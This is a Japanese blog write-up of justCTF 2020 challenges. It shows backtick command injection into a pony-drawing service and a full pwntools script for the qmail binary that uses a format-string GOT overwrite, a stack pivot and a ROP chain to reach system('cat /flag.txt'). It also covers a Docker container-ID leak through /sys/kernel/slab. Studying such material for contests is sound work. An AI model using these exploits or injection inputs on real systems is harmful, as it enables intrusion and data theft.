justCTF [*] 2020 writeup & 復習
はじめに
もう一週間以上経ってしまいましたが、justCTF [*] 2020に参加してpwnを解いた(解こうとした)ので、writeupと他の方のwriteupを見て復習した内容を書いておきます。といっても一問しか解けなかったのですが…
- justCTF [*] 2020
- 土, 30 1月 2021, 06:00 UTC — 日, 31 1月 2021, 19:00 UTC
- Writeup
[PWN/MISC] MyLittlePwny
Ponies like only one type of numbers!
Challenge
配布物はなし
$ nc mylittlepwny.nc.jctf.pro 1337 >
文字を入力すると、pony の絵が表示される
> 1 ____ < 1 > ---- \ ▄▄▄▄ \ █▄▄██ \ ███▄▄▄▄ ▄▄▄▄▄▄▄▄ \ ▄▄▄▄█▄████▄▄▄████▄▄▄▄█ ▄▄██████▄▄▄▄▄██▄▄▄▄█████ ███████████▄▄█▄████████▄▀ █████▄██▄▄▄▄███▄███████▄▀ ▀▄▄▄▄█▄▄█████████▀▀▀▄▄▄▀ ████▄█▄▄▄▄▄████ ▀▄████▄▄▄█▄████▄ ▄▄▄▄ █▄██▄▄▄▄▄▄███▄██ ▄▄▄▄████▄▄▄▄ ▀▄▄██████▄█▄▄████ ▄▄█████████▄██▄▄ ▀▀▀▀▀███████▄▄▄▄▄▄▀▀▀▀▄█████▄▄▄▀ ██████▄▄███▄▄ ████████ ████▄▄███████ ██████▄▀ ▄▄███▄▄████▄▄▄ ████▄▀ ███▄█▀ ███▄▄█▄▄ ▀▀▀ ▄▄▄████▄▄████▄███ █▄▄▄▄▀ █▄▄▄█ ▀▀▀
Writeup
`` によりコマンドを使用可能 (一文字ずつ記号を入れていくことで気づいた)
> ` /bin/sh: 2: Syntax error: EOF in backquote substitution > `ls` __________________________________ < bin flag lib lib64 server.py usr > ---------------------------------- ...
cat
などのそのまま表示できそうなコマンドは使えない
> `cat flag` ________________ < I like cats :) > ---------------- ...
コマンド一覧
> `ls bin` _______________________________________________________________ / bash bunzip2 bzcat bzcmp bzdiff bzegrep bzexe bzfgrep bzgrep \ | bzip2 bzip2recover bzless bzmore cat chgrp chmod chown cp | | dash date dd df dir dmesg dnsdomainname domainname echo egrep | | false fgrep findmnt grep gunzip gzexe gzip hostname kill less | | lessecho lessfile lesskey lesspipe ln login ls lsblk mkdir | | mknod mktemp more mount mountpoint mv nisdomainname nsjail od | | pidof ps pwd rbash readlink rm rmdir run-parts sed sh | | sh.distrib sleep stty su sync tar tempfile touch true umount | | uname uncompress vdir wdctl which ypdomainname zcat zcmp | \ zdiff zegrep zfgrep zforce zgrep zless zmore znew / ---------------------------------------------------------------
od
が使えた
> `od flag` __________________________________________________________ / 0000000 072552 072163 052103 075506 030160 054556 072137 \ | 066064 0000020 071505 061137 063463 047151 057465 031550 | \ 031562 005175 0000040 / ----------------------------------------------------------
整えると次のようになる (オプションなしの場合、1行16バイト、2バイトずつ8進数表示)
0000000 072552 072163 052103 075506 030160 054556 072137 066064 0000020 071505 061137 063463 047151 057465 031550 031562 005175 0000040
ASCII 文字列に変換するスクリプト (もっと簡単にやる方法あるかも)
import binascii nums = [ 0o072552, 0o072163, 0o052103, 0o075506, 0o030160, 0o054556, 0o072137, 0o066064, 0o071505, 0o061137, 0o063463, 0o047151, 0o057465, 0o031550, 0o031562, 0o005175 ] for num in nums: n_str = binascii.unhexlify(('%06x' % num).encode()).decode() n_list = list(n_str) n_list[1], n_list[2] = n_list[2], n_list[1] n_str = ''.join(n_list) print(n_str, end='')
フラグ取得
$ python mylittlepwny.py justCTF{p0nY_t4lEs_b3giN5_h3r3}
唯一フラグゲットできた問題でした。カナシイ
[PWN] qmail
One of the internet leaders launched an anti-spam mail checking service. You send it an email content and you get an aggregated score from multiple systems. However, it seems that something broke as the service doesn't respond from time to time. Am I sending content in EMail Message format? A mistake on their part seems implausible.
Challenge
実行ファイル (qmail) と libc-2.27.so が配布される
応答はなし (Ctrl-D を入力してもダメ)
$ nc qmail.nc.jctf.pro 1337
Writeup
checksec
$ checksec qmail [*] '/path/to/qmail' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
ローカルで実行してみると応答あり (実行後、Ctrl-D (EOF) を入力)
$ ./qmail HTTP/1.0 200 OK Content-Type: application/json Content-Length: 109 { "plugins": { }, "mail": { "score": 0, "spam": false, "reject": false }, "version": "0.3.0.100" }
qmail ってなんぞやと思ってググるとふつうにいろいろ出てくる。qmail というソフトウェアがあるらしい。とりあえず こちら のメッセージをそのまま入力してみると、応答に subject
が追加されていることに気づく
$ ./qmail Received: (qmail-queue invoked by uid 666); 30 Jul 1996 11:54:54 -0000 From: djb@silverton.berkeley.edu (D. J. Bernstein) To: fred@silverton.berkeley.edu Date: 30 Jul 1996 11:54:54 -0000 Subject: Go, Bears! I've got money on this one. How about you? ---Dan (this is the third line of the body) HTTP/1.0 200 OK Content-Type: application/json Content-Length: 136 { "plugins": { }, "mail": { "subject": "Go, Bears!", "score": 0, "spam": false, "reject": false }, "version": "0.3.0.100" }
main でやっていることをおおざっぱに並べておく (リンク先は Ghidra によるデコンパイル結果)
- 標準入力から read してグローバル変数
char headers[65536]
に書き込む (EOF に達すると終了) - メッセージサイズ (
msg_size
) をチェック - メッセージを parse (
message_parse
) (詳細よくわからん) - アドレスを取得する (
get_address_used
) (たぶん) - ヘッダ情報取得 (
header_get
) ( "Subject", "From" ) - JSON 形式に変換して出力 (
printf(SUB168(auVar14,0))
)
Subject として入力した値は出力される + 最後の printf
→ FSA (Format String Attack) が使えそう。
一周目で libc のアドレスをリークして main の先頭に飛ばし、2周目で One-gadget RCE に飛ばす、という方法でいける!と思ったが、read を終わらせるために EOF を送信 (「EOF を送信」で合ってるのか?) する必要があるため、一発で仕留める必要があるらしい…。read 終了 (EOF) については pwntools の shutdown によりいけた。ただし以後はデータを送信することができなくなる。
なんとかして shutdown 後にもう一度データを送信する方法はないかとか、一発でシェルを取る方法はないかとかをもんもんと考えていたが、ここでギブアップ。以降は期間終了後、justCTF [*] 2020 Writeups - CTFするぞ を読んで理解した内容を書く。
「justCTF [*] 2020 Writeups - CTFするぞ」の解法は次の通り。
- FSA により、
_IO_putc
の GOT を Stack pivot を実行可能な gadget のアドレスに書き換える - スタックに ROP chain を仕込む
__libc_start_main
の GOT をsystem
のアドレスに書き換える- .bss 領域に
cat /flag.txt
という文字列を書き込む __libc_start_main
を呼ぶ (system("cat /flag.txt")
)
恥ずかしながら Stack pivot が何かすら知らなかったのだが、スタックの頭を差し替える手法のことを Stack pivot と呼ぶらしい。(参考: GOT overwriteとStack pivotによるDEP回避(xchg esp型) - ももいろテクノロジー)
gadget 探しについては、rp++ というツールが有名らしい。
$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64
ということで gadget 探し
- Stack pivot を実行するための gadget
$ ./rp-lin-x64 --file=qmail --rop=3 --unique | fgrep 'add rsp' ... 0x00403715: add rsp, 0x0000000000000100 ; pop rbx ; ret ; (1 found) ...
__libc_start_main
の GOT に格納されているアドレスをsystem
のアドレスにずらすための gadget
$ ./rp-lin-x64 --file=qmail --rop=3 --unique | grep "add .word \[rbp" 0x00406e12: add dword [rbp-0x7C], eax ; sal byte [rbp+0x0B], 0x00000041 ; lea eax, dword [rcx+0x05] ; ret ; (2 found)
- .bss 領域に文字列を書き込むための gadget
$ ./rp-lin-x64 --file=qmail --rop=3 --unique | grep "mov .word \[rdi" ... 0x00405b46: mov qword [rdi+0x10], rsi ; ret ; (1 found) ...
コードです。特に後半についてはほとんど参考にさせていただいたブログのままです。
from pwn import ELF, context, remote, pack, unpack, gdb, process, pause elf = ELF('qmail') context.binary = elf # context.log_level = 'debug' # s = remote('qmail.nc.jctf.pro', 1337) s = process('./qmail') def make(value): s = 'Subject: ' n = 44 # value を acStack1064 + 0x80 以降に格納されているアドレスに書き込む書式文字列を生成 for i in range(8): t = (value & 0xff) - n % 256 if t <= 1: t += 256 s += '%{}c%{}$hhn'.format(t, 22 + i) value >>= 8 n += t s += '\n\n' s = bytes(s, 'ascii') s += b'\0' * (0x80 - len(s)) # acStack1064 + 0x80 の位置までを '\0' で埋める for i in range(8): s += pack(elf.got._IO_putc + i) return s add_rsp = 0x403715 payload = make(add_rsp) # rsp == acStack1064 libc = ELF('libc-2.27.so') addr_cmd = elf.bss() + 0x400 pop_rbp = 0x403355 xchg_eax_ebp = 0x406e75 add_prbp_m7Ch_eax = 0x406e12 mov_prdi_p10h_rsi = 0x405b46 pop_rsi = 0x403b7c pop_rdi = 0x4050a6 call_prsi = 0x408a6b jmp_prsi = 0x4086fb payload += b'\0' * (0x100 - len(payload)) payload += ( # __libc_start_main の GOT を system のアドレスに書き換える pack(pop_rbp) + pack(libc.symbols.system - libc.symbols.__libc_start_main) + pack(xchg_eax_ebp) + pack(pop_rbp) + pack(elf.got.__libc_start_main + 0x7c) + pack(add_prbp_m7Ch_eax) # 'cat /flag.txt' という文字列を .bss + 0x400 に書き込む + pack(pop_rdi) + pack(addr_cmd - 0x10) + pack(pop_rsi) + b'cat /fla' + pack(mov_prdi_p10h_rsi) + pack(pop_rdi) + pack(addr_cmd - 0x8) + pack(pop_rsi) + b'g.txt\x00\x00\x00' + pack(mov_prdi_p10h_rsi) # __libc_start_main を呼ぶ + pack(pop_rdi) + pack(addr_cmd) + pack(pop_rsi) + pack(elf.got.__libc_start_main) + pack(jmp_prsi) ) s.send(payload) # pause() s.shutdown('send') s.interactive()
ローカル環境に /flag.txt を置いて実行。無事フラグ取得。
$ python qmail.py ... this is flag!! ...
一番時間をかけて考えたけど結局解けなくて悔しかったです。libcをリークしなくても system を呼ぶことはできるのか、と感心しました。たぶん公式のwriteupも今のところないので、今回参考にさせてもらったwriteupがなければいまだに路頭に迷っているところでした。ありがとうございます。
※ 以下、Ghidra によるデコンパイル結果
- main()
- ※
SEXT48
とかSUB168
とか: Ghidra Help の Internal Decompiler Functions の項目に説明が書いてある - ※
_end
は .bss セクションの末尾の次のアドレスを表すらしい -- Man page of END
- ※
undefined8 main(undefined8 param_1,long param_2) { char cVar1; __pid_t _Var2; int __fd; int iVar3; ssize_t sVar4; size_t sVar5; size_t __n; long lVar6; __off64_t _Var7; undefined8 uVar8; long lVar9; undefined8 uVar10; ulong uVar11; char *pcVar12; size_t __n_00; byte bVar13; undefined auVar14 [16]; char acStack1064 [1024]; bVar13 = 0; starttime = now(); _Var2 = getpid(); mypid = (long)_Var2; sig_pipeignore(); sig_miscignore(); sig_alarmcatch(sigalrm); env_put("ISMX=1"); env_put("TCPREMOTEIP=192.168.1.1"); message_init(); alarm(0x4b0); __fd = mess_open(); if (__fd < 0) { /* WARNING: Subroutine does not return */ _exit(0x40); } do { __n = read(0,acStack1064,0x400); if ((long)__n < 0) break; sVar4 = write(__fd,acStack1064,__n); if (sVar4 == -1) { die_write(); } iVar3 = headers_remaining; if (headers_remaining != 0) { sVar5 = SEXT48(headers_remaining); __n_00 = sVar5; if ((long)__n <= (long)sVar5) { __n_00 = __n; } strncpy(&_end + -sVar5,acStack1064,__n_00); headers_remaining = iVar3 - (int)__n_00; } } while (__n != 0); lVar6 = 0xffff; if (headers_remaining != 0) { lVar6 = 0x10000 - (long)headers_remaining; } headers[lVar6] = 0; msg_size = lseek64(__fd,0,2); if (msg_size == -1) { die_write(); } _Var7 = lseek64(__fd,0,0); if (_Var7 != 0) { die_write(); } if (0x100000 < msg_size) { reply(500,"Internal Server Error","Message too large"); die_read(); } uVar8 = find_eoh(headers); as_headers_offset = (undefined4)uVar8; lVar6 = message_parse(headers,uVar8); message = lVar6; if (lVar6 == 0) { reply(500,"Internal Server Error","Could not parse message"); lVar6 = die_read(); } uVar8 = get_address_used(lVar6); env_put2("MAIL_FROM_ABUSED",uVar8); iVar3 = stralloc_copys(sender,uVar8); if (iVar3 == 0) { die_nomem(); } iVar3 = stralloc_append(sender,&DAT_00407856); if (iVar3 == 0) { die_nomem(); } lVar9 = header_get(message,"Subject"); lVar6 = *(long *)(param_2 + 8); if (*(long *)(param_2 + 8) == 0) { lVar6 = lVar9; } lVar9 = header_get(message,&DAT_00407639); if (lVar9 != 0) { lVar9 = address_get(); if (lVar9 != 0) { iVar3 = stralloc_copys(from_sender,lVar9); if (iVar3 == 0) { die_nomem(); } iVar3 = stralloc_append(from_sender,&DAT_00407856); if (iVar3 == 0) { die_nomem(); } } } _Var7 = lseek64(__fd,0,0); if (_Var7 != 0) { die_write(); } substdio_fdbuf(ssin,read,__fd,inbuf,0x8000); mailJ = cJSON_CreateObject(); if (lVar6 != 0) { uVar8 = cJSON_CreateString(lVar6); cJSON_AddItemToObject(mailJ,"subject",uVar8); } plugin_json_output = cJSON_CreateObject(); _Var7 = lseek64(__fd,0,0); if (_Var7 != 0) { die_write(); } uVar8 = cJSON_CreateObject(); cJSON_AddItemToObject(uVar8,"plugins",plugin_json_output); uVar10 = cJSON_CreateNumber(0); cJSON_AddItemToObject(mailJ,"score",uVar10); uVar10 = cJSON_CreateBool(0); cJSON_AddItemToObject(mailJ,&DAT_004076cc,uVar10); uVar10 = cJSON_CreateBool(0); cJSON_AddItemToObject(mailJ,"reject",uVar10); cJSON_AddItemToObject(uVar8,&DAT_004076d8,mailJ); uVar10 = cJSON_CreateString("0.3.0.100"); cJSON_AddItemToObject(uVar8,"version",uVar10); auVar14 = cJSON_Print(uVar8); uVar11 = 0xffffffffffffffff; pcVar12 = SUB168(auVar14,0); do { if (uVar11 == 0) break; uVar11 = uVar11 - 1; cVar1 = *pcVar12; pcVar12 = pcVar12 + (ulong)bVar13 * -2 + 1; } while (cVar1 != '\0'); printf("HTTP/1.0 200 OK\r\nContent-Type: application/json\r\nContent-Length: %u\r\n\r\n",~uVar11, SUB168(auVar14 >> 0x40,0),~uVar11); printf(SUB168(auVar14,0)); _IO_putc(10,stdout); fflush((FILE *)stdout); return 0; }
[PWN/MISC] D0cker
I have heard that Docker may not be the greatest isolation tool. Can you proove it?
Hints:
- This is not a kernel exploitation challenge
- You don't need to exploit the oracle
Challenge
配布物はなし
$ nc docker-sgp1.nc.jctf.pro 1337 Access to this challenge is rate limited via hashcash! Please use the following command to solve the Proof of Work: hashcash -mb26 zwifpdgy Your PoW:
PoW は次のコマンドで取得
$ hashcash -mb26 zwifpdgy hashcash token: 1:26:210130:zwifpdgy::s/nYKao3T3JPfj7d:000000000vWX1
PoW を入力するとシェルが起動する
Your PoW: 1:26:210130:zwifpdgy::s/nYKao3T3JPfj7d:000000000vWX1 1:26:210130:zwifpdgy::s/nYKao3T3JPfj7d:000000000vWX1 [*] Spawning a task manager for you... [*] Spawning a Docker container with a shell for ya, with a timeout of 10m :) [*] Your task is to communicate with /oracle.sock and find out the answers for its questions! [*] You can use this command for that: [*] socat - UNIX-CONNECT:/oracle.sock [*] PS: If the socket dies for some reason (you cannot connect to it) just exit and get into another instance groups: cannot find name for group ID 1000 I have no name!@91c78fbacb7d:/$
Writeup
シェルが起動するので、とりあえず情報収集
I have no name!@9d8600b7da5e:/$ id id uid=1000 gid=1000 groups=1000 I have no name!@9d8600b7da5e:/$ uname -a uname -a Linux 9d8600b7da5e 5.4.0-51-generic #56-Ubuntu SMP Mon Oct 5 14:28:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux I have no name!@9d8600b7da5e:/$ cat /etc/os-release cat /etc/os-release NAME="Ubuntu" VERSION="20.04.1 LTS (Focal Fossa)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 20.04.1 LTS" VERSION_ID="20.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=focal UBUNTU_CODENAME=focal I have no name!@9d8600b7da5e:/$ $ ps auxfww ps auxfww USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND 1000 1 0.2 0.0 2712 648 pts/0 Ss 10:51 0:00 timeout 10m bash 1000 6 0.0 0.0 4108 3544 pts/0 S 10:51 0:00 bash 1000 8 0.0 0.0 5896 2988 pts/0 R+ 10:51 0:00 \_ ps auxfww I have no name!@9d8600b7da5e:/$ file /oracle.sock file /oracle.sock /oracle.sock: socket
言われたとおり、socat で接続してみる
I have no name!@c59e03f75e8e:/$ socat - UNIX-CONNECT:/oracle.sock socat - UNIX-CONNECT:/oracle.sock Welcome to the ______ _____ _ | _ \ _ | | | | | | | |/' | ___| | _____ _ __ | | | | /| |/ __| |/ / _ \ '__| | |/ /\ |_/ / (__| < __/ | |___/ \___/ \___|_|\_\___|_| oracle! I will give you the flag if you can tell me certain information about the host (: ps: brute forcing is not the way to go. Let's go!
質問が表示されるので、答えていく。
- Level 1
[Level 1] What is the full *cpu model* model used?
CPU のモデル情報。 cat /proc/cpuinfo
により取得
[Level 1] What is the full *cpu model* model used? Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz That was easy :)
- Level 2
[Level 2] What is your *container id*?
cat /proc/self/cgroup
により取得。(自分の container id でなくても OK だった)
[Level 2] What is your *container id*? c59e03f75e8e4c1b7c0887c7b2af5ff59b36f69ee56777c7b92673c3a9495e4e
- Level 3
[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?
/secret
というファイルが作成されるので、その中身を入力する。事前に bash -c 'sleep 30; cat /secret' &
を実行しておくことで取得。もしくは Level 2 で別のコンテナの ID を入力しておくとそっちのコンテナに secret が作成されるので、それを入力しても OK だった。
[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret? dzRJyqmQoqVYlkHMeiAPeSPohURJgEWHUAzkMioZQcgLoCZsFswSPAGrmuvAWzYC
- Level 4
[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)
/secret を生成したときに、ホストのどこに書き込んでいるか、という問い。とりあえずルート /
のマウント情報を確認してみた。
overlay on / type overlay (rw,relatime,lowerdir=...,upperdir=...,workdir=...,xino=off)
overlay を聞いたことがなかったのでググると、【連載】世界一わかりみが深いコンテナ & Docker入門 〜 その6:Dockerのファイルシステムってどうなってるの? 〜 | SIOS Tech. Lab というページを見つけた。Docker のファイルシステムについて説明してくれている。upperdir を入力。
[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them) /var/lib/docker/overlay2/6b80763e46b9937ceb8cef7819e6da7bf8a87cd0769d05353f448430d1c9e28d/diff/secret
- Level 5
[Level 5] Good! Now, can you give me an id of any *other* running container?
別のターミナルでサーバに接続して取得した container id を入力するだけ。
[Level 5] Good! Now, can you give me an id of any *other* running container? 610b8135a5c06c59059b1be32266719bf963ed8da1093b6f0efa8266ba54bff9
- Level 6
[Level 6] Now, let's go with the real and final challenge. I, the Docker Oracle, am also running in a container. What is my container id?
最終問題。ホストもDockerで動いており、ホストのコンテナIDを入力するという問題。
わからず・・。ここでギブアップ。作問者の writeup によると、 ls /sys/kernel/slab/*/cgroup/ | sort | uniq
により他のコンテナの ID も見れるらしい。手元で試してみると確かに見れた。どうも作問者が見つけたDockerのバグ?らしい。
事前に知ってなきゃ無理では?と思ったけど、解けたチームが40チームくらいいたので、そういうわけでもないらしい。findしてそれっぽいものを探したとか?
感想
むずすぎ